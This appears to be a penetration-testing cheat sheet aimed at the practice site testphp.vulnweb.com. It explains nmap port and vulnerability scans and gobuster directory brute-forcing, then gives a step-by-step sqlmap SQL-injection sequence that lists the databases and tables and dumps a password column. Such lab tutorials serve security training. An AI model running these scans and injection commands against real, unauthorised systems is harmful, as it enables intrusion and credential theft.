Network Scanning

1. **nmap -p- testphp.vulnweb.com**

   This command uses Nmap, a network scanning tool, to scan all ports of the target domain **testphp.vulnweb.com**. Here's what each part of the command means:

   - **nmap**: Invokes the Nmap tool.
   - **-p-**: Specifies scanning all ports. The hyphen (**-**) is shorthand for scanning all 65,535 TCP ports.
   - **testphp.vulnweb.com**: Specifies the target domain or IP address to scan.

   Essentially, this command scans all TCP ports on the target domain to determine which ports are open and potentially accessible.

2. **nmap -p- --script=vuln -T4 testphp.vulnweb.com**

   This command is similar to the previous one but includes additional options to run Nmap scripts targeting potential vulnerabilities (**vuln**). Here's what each part of the command means:

   - **--script=vuln**: Specifies running Nmap scripts related to vulnerability detection.
   - **-T4**: Sets the timing template to aggressive (**-T4**), which increases the speed of the scan.
   - **testphp.vulnweb.com**: Specifies the target domain or IP address to scan.

   With this command, Nmap will not only scan all ports but will also run vulnerability detection scripts to identify potential security issues on the target domain.

3. **nmap -p80 --script=http-enum testphp.vulnweb.com**

   This command uses Nmap to scan only port 80 (the default port for HTTP) on the target domain **testphp.vulnweb.com** and runs the **http-enum** script, which enumerates information about HTTP services. Here's what each part of the command means:

   - **-p80**: Specifies scanning only port 80.
   - **--script=http-enum**: Specifies running the **http-enum** script, which enumerates information about HTTP services.
   - **testphp.vulnweb.com**: Specifies the target domain or IP address to scan.

   With this command, Nmap will focus on scanning only the HTTP service on port 80 and will attempt to enumerate various information such as server banners, supported HTTP methods, etc.

4. **gobuster dir -u testphp.vulnweb.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x php**

   This command uses Gobuster, a tool used for directory and file brute-forcing, to discover hidden directories or files on the target web server. Here's what each part of the command means:

   - **dir**: Specifies that Gobuster should perform directory brute-forcing.
   - **-u testphp.vulnweb.com**: Specifies the target URL.
   - **-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt**: Specifies the wordlist to use for brute-forcing. In this case, it's using a medium-sized wordlist located at **/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt**.
   - **-t 50**: Specifies the number of concurrent threads to use (in this case, 50 threads).
   - **-x php**: Specifies an extension to append to each word in the wordlist. Here, it's looking specifically for PHP files.

Network Scanning

With this command, Gobuster will attempt to discover directories on the target web server by brute-forcing with the provided wordlist and extension. It's commonly used for web application enumeration and reconnaissance.

google dorks:

site:testphp.vulnweb.com inurl:php?

http://testphp.vulnweb.com/listproducts.php?cat=1

Step 1: List information about the existing databases:

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs

Step 2: List information about Tables present in a particular Database:

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart --tables

Step 3: List information about the columns of a particular table:

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T users --columns

Step 4: Dump the data from the columns:

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T artists -C pass --dump

Network Scanning

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D information_schema --tables